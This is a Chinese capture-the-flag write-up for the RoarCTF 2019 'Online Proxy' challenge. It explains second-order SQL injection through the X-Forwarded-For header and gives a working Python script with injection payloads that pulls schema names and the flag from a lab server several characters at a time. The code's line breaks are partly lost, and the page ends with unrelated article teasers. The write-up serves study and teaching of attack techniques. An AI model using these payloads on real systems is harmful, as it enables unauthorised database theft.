[RoarCTF 2019Online Proxy]sql巧妙盲注

文章目录

    • [RoarCTF 2019Online Proxy]sql巧妙盲注
      • 解题
      • 脚本
        • 脚本解析

[RoarCTF 2019Online Proxy]sql巧妙盲注

解题

在源代码界面发现:Current Ip

image-20230809221921490

我们会联想到:X-Forwarded-For来修改ip:

image-20230809222053377

结果我们发现,response会讲Last Ip回显出来,并且我们使用dirsearch扫描到了db.php

image-20230809222306594

我们自然会联想到数据库。当我们使用X-Forwarded-For请求的时候,会将上一次的值回显在Last Ip

这里应该是存在sql注入的。

如果我们传递一个sql进入XFF中,然后第二次随便输入一个值,将sql存入数据库,第三次再输入同一个值,就会发生sql查询,将之前的sql语句查询出来,造成二次注入

我们验证可以使用单引号闭合

第一次XFF:0’ or '114514 ,第二次:leekos, 第三次:leekos

在第三次就会查询出114514

脚本

所以我们就需要编写脚本了:

import requestsurl = "http://node4.buuoj.cn:27640/"
def execsql(sql):result = ""payload = "0'|length(("+sql+"))|'0"session = requests.session()r = session.get(url,headers={'X-Forwarded-For':payload})r = session.get(url,headers={'X-Forwarded-For':'leekos'})r = session.get(url,headers={'X-Forwarded-For':'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->",start)length = int(r.text[start:end])print("[+]长度:"+str(length))for i in range(1,length+1,5): # 1次查5个字符,妙payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)r = session.get(url, headers={'X-Forwarded-For': payload})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->", start)res = int(r.text[start:end])result += bytes.fromhex(hex(res)[2:]).decode("utf-8")print(result)return result# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))

脚本解析

这个脚本非常的巧妙,与我之前接触的脚本不同,这个脚本可以通过盲注,一次查询多个字符

原理就是将字符串转为16进制,再转为10进制,读出来,最后重新将10进制转为16进制,最后转为字符串,利用的就是

字符串与16进制之间的转化

举个例子:

hex('abc')=616263 ,然后通过sql函数conv(hex('abc'),16,10) = 6382179 将abc的16进制转为10进制

在sql中16进制可以自动转为字符串:

image-20230809224024056

这种做法大大提高了查询的速度!

bytes.fromhex() 这个函数是将16进制数字转为字节,然后decode()解码为字符

整个脚本的重点就是如下:

payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")

首先通过sql查询,将部分结果拿出,然后转为16进制,再转为10进制

然后将requests的返回结果取出,转为16进制,最后转为字符

这样实现了一次查询多个字符

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/36599.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

请教电路高手帮忙Review一下是否可行?

想要实现STM32 3.3V GPIO 控制5V电源通断,默认状态为:接通。 使用如下电路图有无问题?参数是否需要调整?

8.14 ARM

1.练习一 .text 文本段 .global _start 声明一个_start函数入口 _start: _start标签,相当于C语言中函数mov r0,#0x2mov r1,#0x3cmp r0,r1beq stopsubhi r0,r0,r1subcc r1,r1,r0stop: stop标签,相当于C语言中函数b stop 跳转到stop标签下的第一条…

C++的IO流

C语言的输入与输出 C语言中我们用到的最频繁的输入输出方式就是scanf ()与printf()。 scanf(): 从标准输入设备(键盘)读取数据,并将值存放在变量中。printf(): 将指定的文字/字符串输出到标准输出设备(屏幕)。注意宽度输出和精度输出控制。C语言借助了相应的缓冲区来…

Vue [Day7]

文章目录 自定义创建项目ESlint 代码规范vuex 概述创建仓库向仓库提供数据使用仓库中的数据通过store直接访问通过辅助函数 mapState(简化)mutations传参语法(同步实时输入,实时更新辅助函数 mapMutationsaction (异步辅助函数map…

IntelliJ IDEA 2021/2022关闭双击shift全局搜索

我这里演示的是修改,删除是右键的时候选择Remove就好了 IDEA左上角 File-->Settings 找到Navigate -->Search Everywhere ,右键添加快捷键。 OK --> Apply应用

初始多线程

目录 认识线程 线程是什么: 线程与进程的区别 Java中的线程和操作系统线程的关系 创建线程 继承Thread类 实现Runnable接口 其他变形 Thread类及其常见方法 Thread的常见构造方法 Thread类的几个常见属性 Thread类常用的方法 启动一个线程-start() 中断…

前端食堂技术周刊第 93 期:7 月登陆 Web 平台的新功能、Node.js 工具箱、Nuxt3 开发技巧、MF 重构方案

美味值:🌟🌟🌟🌟🌟 口味:橙橙冰萃美式 食堂技术周刊仓库地址:https://github.com/Geekhyt/weekly 大家好,我是童欧巴。欢迎来到前端食堂技术周刊,我们先来…

Android多屏幕支持-Android12

Android多屏幕支持-Android12 1、概览及相关文章2、屏幕窗口配置2.1 配置xml文件2.2 DisplayInfo#uniqueId 屏幕标识2.3 adb查看信息 3、配置文件解析3.1 xml字段读取3.2 简要时序图 4、每屏幕焦点 android12-release 1、概览及相关文章 AOSP > 文档 > 心主题 > 多屏…

理解jvm之对象已死怎么判断?

目录 引用计数算法 什么是引用 可达性分析算法(用的最多的) 引用计数算法 定义:在对象中添加一个引用计数器,每当有一个地方引用它时,计数器值就加一;当引用失效时,计数器值就减一&#xff1…

文件批量改名高手:轻松删除文件名,仅保留编号!

您是否经常需要对大量文件进行命名调整?是否为繁琐的手动操作而感到厌烦?现在,我们的智能批量文件改名工具为您提供了一种简单而高效的解决方案!只需几步操作,您就能轻松删除原有的文件名,仅保留编号&#…

YOLO相关原理(文件结构、视频检测等)

超参数进化(hyperparameter evolution) 超参数进化是一种使用了genetic algorithm(GA)遗传算法进行超参数优化的一种方法。 YOLOv5的文件结构 images文件夹内的文件和labels中的文件存在一一对应关系 激活函数:非线性处理单元 activation f…

【设计模式】MVC 模式

MVC 模式代表 Model-View-Controller(模型-视图-控制器) 模式。这种模式用于应用程序的分层开发。 Model(模型) - 模型代表一个存取数据的对象或 JAVA POJO。它也可以带有逻辑,在数据变化时更新控制器。View&#xff…

Linux6.37 Kubernetes 集群调度

文章目录 计算机系统5G云计算第三章 LINUX Kubernetes 集群调度一、调度约束1.调度过程2.指定调度节点3.亲和性1)节点亲和性2)Pod 亲和性3)键值运算关系 4.污点(Taint) 和 容忍(Tolerations)1)污点(Taint)2)容忍(Toler…

VSCODE[配置ssh免密远程登录]

配置ssh免密远程登录 本文摘录于:https://blog.csdn.net/qq_44571245/article/details/123031276只是做学习备份之用,绝无抄袭之意,有疑惑请联系本人! 这里要注意如下几个地方: 1.要进入.ssh目录创建文件: 2.是拷贝带"ssh-…

微服务系列文章之 Springboot+Vue实现登录注册

一、springBoot 创建springBoot项目 分为三个包,分别为controller,service, dao以及resource目录下的xml文件。 UserController.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 …

如何利用 EMC 模型解决能源服务提供商的瓶颈

01. 什么是合同能源管理? 合同能源管理(EMC-Energy Management Contract) 是一种新型的市场化节能机制,其实质就是以减少的能源费用来支付节能项目全部成本的节能投资方式。:节能服务公司与用能单位以契约形式约定节能项目的节能目标,节能服…

正则表达式的使用

1、正则表达式-教程 正则表达式:文本模式,包括普通字符(例如,a到z之间的字母)和特殊字符(称为元字符)。 正则表达式使用单个字符串来描述,匹配一系列匹配某个句法规则的字符串。 2、…

《论文阅读13》Efficient Urban-scale Point Clouds Segmentationwith BEV Projection

一、论文 研究领域: 城市级3D语义分割论文:Efficient Urban-scale Point Clouds Segmentationwith BEV Projection清华大学,新疆大学2021.9.19论文github论文链接 二、论文概要 2.1主要思路 提出了城市级3D语义分割新的方法,将…

1.SpringMVC接收请求参数及数据回显:前端url地址栏传递参数通过转发显示在网页

1、SpringMVC 处理前端提交的数据 1.1 提交的域名和处理方法的参数不一致,使用注解解决 1.2 提交的域名和处理方法的参数不一致,使用注解解决 1.3 提交的是一个对象 2、前端url地址栏传递的是一个参数 请求地址url:http://localhost:8080/s…

测试开发工程师到底是做什么的?

一二三线互联网公司对测试开发工程师的要求: 现在很多测试的同事对测试开发工程师的认识都有一定的误差。 我最早在阿里的时候和测试开发工程师沟通的时候,发现阿里的测试开发工程师,他们基本上都分为两种,一种是业务类型的&…